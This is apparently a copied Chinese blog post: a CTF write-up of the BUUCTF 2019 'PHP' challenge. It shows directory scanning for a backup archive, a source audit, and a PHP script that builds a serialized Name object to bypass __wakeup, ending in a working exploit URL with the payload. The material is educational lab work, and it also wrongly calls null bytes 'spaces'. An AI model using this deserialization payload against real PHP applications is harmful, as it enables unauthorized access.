当前位置: 首页 > article >正文

1.【BUUCTF】[极客大挑战 2019]PHP(反序列化)

打开题目页面如下

很有趣的前端页面,猫猫会随着球的方向目光跟随,靠近猫猫还会把玩球

看到提示备份网站,但不知道备份文件名,用kali中的dirsearch扫描根目录试试

扫描特定的后缀,命令如下

dirsearch -u http://b3f2b09d-70f5-4961-934a-0e88cfca3f5d.node5.buuoj.cn:81/ -e bak,zip,rar,tar,old

结果如下

看到有www.zip

构造url

http://b3f2b09d-70f5-4961-934a-0e88cfca3f5d.node5.buuoj.cn:81/www.zip

看到下载完成,打开查看 

有如下几个文件

打开flag.php

 qyq,果然不可信,没那么简单

打开源码文件index.php

看到里面的php语句,直接开审

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

include 'class.php';
include 是一个文件包含语句

作用是将指定路径下的文件 class.php 的内容包含到当前脚本中

class.php 文件里所定义的函数、类、变量等都能够在当前脚本中使用。
若 class.php 文件不存在或者无法被找到,include 语句会产生一个警告信息(E_WARNING),但脚本会继续执行。
$select = $_GET['select'];
$_GET 是 PHP 中的一个超全局变量,用于接收通过 HTTP GET 请求方法传递过来的参数。

从 URL 的查询字符串里获取名为 select 的参数值,并将其赋值给变量 $select。
$res=unserialize(@$select);
unserialize 函数用于将经过序列化处理的字符串还原为原来的 PHP 数据结构(如数组、对象等)。这里是尝试把 $select 变量的值进行反序列化操作,然后将结果赋值给变量 $res。
@ 是 PHP 中的错误抑制符,作用是抑制 unserialize 函数在执行过程中可能产生的错误信息。

也就是说,即使 $select 的值不是一个有效的序列化字符串,脚本也不会输出错误信息。


再打开class.php文件

<?php
// 包含 flag.php 文件,通常该文件中会定义存储 flag 的变量
include 'flag.php';

// 设置错误报告级别为 0,即关闭所有的错误报告
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 类的构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,并将其赋值给类的私有属性
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 是 PHP 的魔术方法,当使用 unserialize 反序列化对象时会自动调用
    // 此方法将 $this->username 的值设置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 是 PHP 的魔术方法,当对象被销毁时会自动调用
    function __destruct(){
        // 检查 $this->password 是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查 $this->username 是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 使用 global 关键字引入全局变量 $flag
            global $flag;
            // 输出 $flag 的值,即 flag 内容
            echo $flag;
        } else {
            // 如果 $this->username 不等于 'admin',输出友好提示信息
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

代码审计

反序列化漏洞:代码直接对用户通过 URL 传递的 select 参数进行反序列化操作,可以构造恶意的序列化数据来绕过 __wakeup 方法和 __destruct 方法中的验证逻辑,从而获取 flag。
__wakeup 绕过漏洞:在 PHP 5.6.25 及之前版本和 PHP 7.0.10 及之前版本中,如果序列化字符串中表示对象属性个数的值大于实际属性个数,__wakeup 方法将不会被调用,提供了绕过 __wakeup 方法中用户名重置的机会。


构造恶意序列化对象

构造一个满足 __destruct 方法中验证条件的序列化对象。
创建一个 Name 类的对象,将 $username 设置为 'admin',$password 设置为 100。
利用 __wakeup 绕过漏洞,构造序列化字符串时让属性个数大于实际属性个数。

构造恶意序列化对象的代码

<?php
class Name{
    private $username = 'admin';
    private $password = 100;
}

$obj = new Name();
$serialized = serialize($obj);
// 绕过 __wakeup,将属性个数修改为大于实际属性个数
$exploit = str_replace('O:4:"Name":2:', 'O:4:"Name":3:', $serialized);
echo $exploit;
?>

可以用下面这个在线工具运行代码

php在线运行,在线工具,在线编译IDE_w3cschool

结果

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

发送恶意请求

将构造好的序列化字符串作为 select 参数的值,通过 URL 发送给目标页面。

http://be705cd2-6410-4a44-a8f0-960efb677e1f.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

服务器在处理该请求时会对 select 参数进行反序列化,由于绕过了 __wakeup 方法,并且满足 __destruct 方法中的验证条件


居然还是没有得到flag

原来需要将空格进行编码%00因为在执行时会减少空格

http://be705cd2-6410-4a44-a8f0-960efb677e1f.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

最后得到flag

 


http://www.kler.cn/a/543813.html

相关文章:

  • Python办公自动化之PDF
  • 【Stable Diffusion模型测试】测试ControlNet,没有线稿图?
  • 【ThreeJS Basics 1-3】Hello ThreeJS,实现第一个场景
  • 基于MATLAB的沥青试样孔隙率自动分析——原理详解与代码实现
  • 【嵌入式Linux应用开发基础】open函数与close函数
  • Flutter项目试水
  • 国际主流架构框架整理【表格版】简介、适用场景、优缺点、中文名、英名全称,附TOGAF认证介绍
  • 稀土抑烟剂——为汽车火灾安全增添防线
  • 基于ssm的超市订单管理系统
  • 【学习笔记】vue-cli中组件间传参的方式
  • CentOS本机配置为时间源
  • 尚硅谷爬虫note001
  • centos7 curl#6 - Could not resolve host mirrorlist.centos.org; 未知的错误 解决方案
  • Unity中快速制作2D沙雕动画:流程编
  • jQuery介绍(快速、简洁JavaScript库,诞生于2006年,主要目标是简化HTML文档操作、事件处理、动画和Ajax交互)
  • PyQt学习记录03——批量设置水印
  • patch-package的实现基本原理
  • 云服务是否能满足特定行业(如金融、医疗)的合规要求
  • 基础算法--二分查找
  • Zabbix7.0服务器在告警发生时自动调用客户机脚本
  • 从零开始学Python爬虫:(二)使用基本库urllib(上)
  • Vue的scoped原理是什么
  • 在 Navicat 17 中扩展 PostgreSQL 数据类型 - 范围类型
  • NLP深度学习 DAY7:平滑、语境学习、Scaling Law、大模型的发展、LLM的构建流程
  • 【Java】详细讲解数据类型与运算符
  • PlantUML 总结